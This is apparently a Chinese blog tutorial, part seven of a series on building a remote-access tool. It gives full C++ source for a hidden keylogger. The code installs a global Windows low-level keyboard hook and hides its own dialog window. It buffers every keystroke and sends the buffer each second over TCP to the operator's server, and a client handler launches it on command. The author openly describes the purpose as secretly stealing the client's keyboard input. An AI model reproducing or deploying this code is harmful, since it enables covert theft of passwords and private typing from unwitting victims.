从零开始做远控 第七篇 键盘监控

如果你从没看过这系列教程请点击:从零开始做远控 简介篇

键盘监控:
那么快就到来第七节了,这两节我会跟大家讲讲怎么实时窃取客户端的每一个键盘输入,然后发送到服务端。
这一节我们会先做客户端方面的编程。


KeyboardSpy类:

1.现在在客户端创建一个KeyboardSpy的类。
2.因为这里需要用到消息循环,所以我们要建立一个对话框类,但是把它隐藏好。
3.用到Hook技术监控系统的键盘输入。
4.发送窃取的数据给服务端。

代码

KeyboardSpy.h

/*
 *
 *  Author: sumkee911@gmail.com
 *  Date: 22-12-2016
 *  Brief: 从客户端窃取键盘输入数据,再发给服务端。
 *
 */

#ifndef KEYBOARDSPY_H
#define KEYBOARDSPY_H

#include "tcpsocket.h"
#include <windows.h>
#include <iostream>
#include <vector>

class KeyboardSpy
{
public:
    KeyboardSpy();
    ~KeyboardSpy();

    // 这个类的入口函数
    static void startKeyboardSpy(std::string domain, int port);

    // 因为要出里win32数据,
    static void createDialogByNewThread();
    static DWORD WINAPI threadProc(LPVOID args);
    static BOOL WINAPI keyboardSpyWndProc(HWND hWnd,UINT uiMsg, WPARAM wParam,LPARAM lParam);

    // 键盘数据结构
    typedef struct
    {
        int iCode;
        int iScanCode;
        int iFlags;
        int iTime;
        int iExtraInfo;
    } HookStruct;

    // 安装和移除键盘窃取器,钩子
    static HHOOK installKeyboardHook();
    static void uninstallKeyboardHook(HHOOK hHook);
    static LRESULT CALLBACK keyboardHookProc(int nCode,WPARAM wParam, LPARAM lParam);

    // 更新或删除,socket,缓冲区
    static void addSocket(TcpSocket *sock);
    static std::vector<TcpSocket*> getSockets();
    static void delSocket(TcpSocket *sock);
    static void addBuffer(char data);
    static void delBuffer();

    // 发送窃取的数据
    static void CALLBACK sendKeyboardData(HWND hWnd,UINT uiMsg,UINT uiTimer,DWORD dwTimer);
};

#endif // KEYBOARDSPY_H

KeyboardSpy.cpp

#include "keyboardspy.h"

// 互挤体,用来确保线程安全
static CRITICAL_SECTION gCs;
// 初始化类
static KeyboardSpy spy;
// 窗口句柄
static HWND hWnd = NULL;
// 键盘钩子句柄
static HHOOK gHHook = NULL;
// socket列表
static std::vector<TcpSocket*> gSockets;
// 键盘数据缓存区
static std::vector<char> gBuffer;

KeyboardSpy::KeyboardSpy()
{
    // 初始化互挤体
    InitializeCriticalSection(&gCs);

    // 创建一个对话框来处理win32事件
    createDialogByNewThread();
}

KeyboardSpy::~KeyboardSpy()
{
    if(hWnd) {
        // 关闭计时器
        KillTimer(hWnd, 0);

        // 删除socket
        const int max = gSockets.size();
        for (int i=0; i<max; ++i) {
            gSockets.at(i)->dissconnect();
            delete gSockets.at(i);
        }

        // 关闭窗口
        DestroyWindow(hWnd);

        // 移除键盘监控
        if (gHHook) {
            uninstallKeyboardHook(gHHook);
        }
    }

    // 删除互挤体
    DeleteCriticalSection(&gCs);
}

void KeyboardSpy::startKeyboardSpy(std::string domain, int port)
{
    TcpSocket *sock = new TcpSocket();
    if (!sock->connectTo(domain, port)) {
        // 释放socket
        delete sock;

        std::cout << "Failed to connect server for keyboard spy" << std::endl;
        std::fflush(stdout);
        return;
    }

    // 把socket加到列表,当有键盘数据就会调用socket
    addSocket(sock);

    // 输出信息
    std::cout << "Started keyboard spy success" << std::endl;
    std::fflush(stdout);
}

void KeyboardSpy::createDialogByNewThread()
{
     // 启动一个新线程来做监控
     HANDLE h = CreateThread(NULL,0,KeyboardSpy::threadProc,(LPVOID)NULL,0,NULL);
     if (!h) {
         std::cout << "Failed to create new thread" << std::endl;
         std::fflush(stdout);
     }
}

DWORD KeyboardSpy::threadProc(LPVOID)
{
    // 创建一个不可见的窗口来处理win32事件
    WORD tempMem[1024];
    LPDLGTEMPLATEA temp = (LPDLGTEMPLATEA)tempMem;
    temp->style=WS_CAPTION;  temp->dwExtendedStyle=0;
    temp->x=0; temp->y=0;
    temp->cx=0; temp->cy=0;

    int ret = DialogBoxIndirectParamA(NULL,temp, NULL, keyboardSpyWndProc,(LPARAM)NULL);
    if (ret == -1) {
        std::cout << "Failed to create dialog box for keyboard spy" << std::endl;
        std::fflush(stdout);
    }

    return true;
}

WINBOOL KeyboardSpy::keyboardSpyWndProc(HWND hWnd, UINT uiMsg, WPARAM , LPARAM )
{
    switch(uiMsg) {
    // 初始化监控
    case WM_INITDIALOG: {
        std::cout << "WM_INITDIALOG" << std::endl;
        std::fflush(stdout);

        // 定时发送窃取的数据
        const int time = 1000;  // 我这里设置1秒发送一次,你可以设置你自己想要的
        SetTimer(hWnd,0, time, sendKeyboardData);

        // 安装键盘钩子来截取系统的所有键盘输入
        gHHook = installKeyboardHook();
        if (!gHHook) {
            std::cout << "Failed to install keyboard hook" << std::endl;
            std::fflush(stdout);
        }

        break;
    }
    case WM_PAINT:
        // 隐藏窗口
        ShowWindow(hWnd,SW_HIDE);
        break;
    default:
        break;
    }

    return false;
}

HHOOK KeyboardSpy::installKeyboardHook()
{
    return SetWindowsHookExA(13, keyboardHookProc, GetModuleHandleA(NULL), 0);
}

void KeyboardSpy::uninstallKeyboardHook(HHOOK hHook)
{
    UnhookWindowsHookEx(hHook);
}

LRESULT KeyboardSpy::keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (wParam == WM_KEYDOWN) {
        HookStruct *hs = (HookStruct *)lParam;
        char data = hs->iCode;

        // 我这里只识别了常用的键盘,你如果想分析更多的话你可以自己重写这里,
        // 转换键盘虚拟码,你兴趣修改可以参考:http://www.cnblogs.com/del/archive/2007/12/07/987364.html。
        bool isCapital = GetKeyState(VK_CAPITAL);
        if (hs->iCode >= 'A' && hs->iCode <= 'Z' && !isCapital) {
            // 判断是否大写,如果不是就把原本大写的字符变小写
            data = data + 0x20;
        } else if (hs->iCode >= 0x60 && hs->iCode<= 0x69) {
            // 小键盘
            data = data - 0x30;
        } else {
            // 符号
            switch (hs->iCode) {
            case 106: data = '*'; break;
            case 107: data = '+'; break;
            case 109: data = '-';   break;
            case 110: data = '.'; break;
            case 111: data = '/'; break;
            case 186: data = ';'; break;
            case 187: data = '='; break;
            case 188: data = ','; break;
            case 189: data = '-'; break;
             case 190: data = '.'; break;
            case 191: data = '/'; break;
            case 192: data = '`'; break;
            case 219: data = '['; break;
            case 220: data = '\\'; break;
            case 221: data = ']'; break;
            case 222: data = '\''; break;
            }
        }

        // 把键盘数据加到缓冲区
        addBuffer(data);
    }

    return CallNextHookEx(gHHook,nCode,wParam,lParam);
}

void KeyboardSpy::addSocket(TcpSocket *sock)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);

    gSockets.push_back(sock);

    // 解除函数锁定
    LeaveCriticalSection(&gCs);
}

std::vector<TcpSocket *> KeyboardSpy::getSockets()
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);

    std::vector<TcpSocket *> sockets = gSockets;

    // 解除函数锁定
    LeaveCriticalSection(&gCs);

    return sockets;
}

void KeyboardSpy::delSocket(TcpSocket *sock)
{
    // 锁定函数,其他线程不能进来
    EnterCriticalSection(&gCs);

    std::vector<TcpSocket*>::iterator iter = gSockets.begin();
    for (; iter!=gSockets.end(); ++iter) {
        if (*iter == sock) {
            gSockets.erase(iter);
            break;
        }
    }

    // 解除函数锁定
    LeaveCriticalSection(&gCs);
}

void KeyboardSpy::addBuffer(char data)
{
    gBuffer.push_back(data);
}

void KeyboardSpy::delBuffer()
{
    gBuffer.clear();
}

void KeyboardSpy::sendKeyboardData(HWND , UINT , UINT , DWORD )
{
    // 遍历所有已经连接的端口来发送键盘数据
    if (gBuffer.size() > 0) {
        std::vector<TcpSocket*> sockets = getSockets();
        int max = sockets.size();
        for (int i = 0; i<max; ++i) {
            TcpSocket *sock = sockets.at(i);

            if (!sock->sendData(gBuffer.data(), gBuffer.size())) {
                // 删除无效socket
                delSocket(sock);

                // 释放socket
                delete sock;

                // 输出信息
                std::cout << "Finished keyboard spy" << std::endl;
            }
        }

        // 清空缓冲区
        delBuffer();
    }
}


5.在客户端的ZeroClient类doKeyboardSpy作修改
void ZeroClient::doKeyboardSpy(std::map<std::string, std::string> &args)
{
    // 开始键盘监控
    KeyboardSpy::startKeyboardSpy(mSock.mIp, atoi(args["PORT"].data()));
}



本节完整代码:
下载完整代码
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值